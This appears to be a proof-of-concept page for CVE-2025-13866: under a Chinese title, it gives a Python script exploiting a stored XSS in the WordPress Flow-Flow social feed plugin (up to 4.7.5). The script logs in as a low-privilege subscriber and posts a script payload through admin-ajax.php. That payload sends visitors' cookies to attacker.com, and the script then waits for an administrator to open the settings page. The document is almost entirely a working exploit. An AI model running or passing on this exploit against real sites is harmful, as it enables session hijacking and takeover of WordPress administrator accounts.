CVE-2025-13866 WordPress Flow-Flow插件存储型XSS漏洞

import requests import sys # CVE-2025-13866 PoC - Stored XSS via AJAX # Target: WordPress with Flow-Flow Social Feed Stream Plugin (<=4.7.5) target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "subscriber" password = sys.argv[3] if len(sys.argv) > 3 else "password" # XSS payload xss_payload = '<script>document.location="https://attacker.com/steal?c="+document.cookie</script>' def exploit_stored_xss(): session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Login failed") return False print("[+] Logged in successfully as subscriber") # Step 2: Exploit the vulnerability via AJAX ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'flow_flow_social_auth', 'stream_id': '1', 'profile_text': xss_payload, 'submit': 'Save' } ajax_response = session.post(ajax_url, data=exploit_data) if ajax_response.status_code == 200: print("[+] XSS payload sent successfully") print("[+] Payload stored in plugin settings") print("[*] Wait for admin to visit plugin settings page") return True else: print("[-] Exploitation failed") return False if __name__ == "__main__": exploit_stored_xss()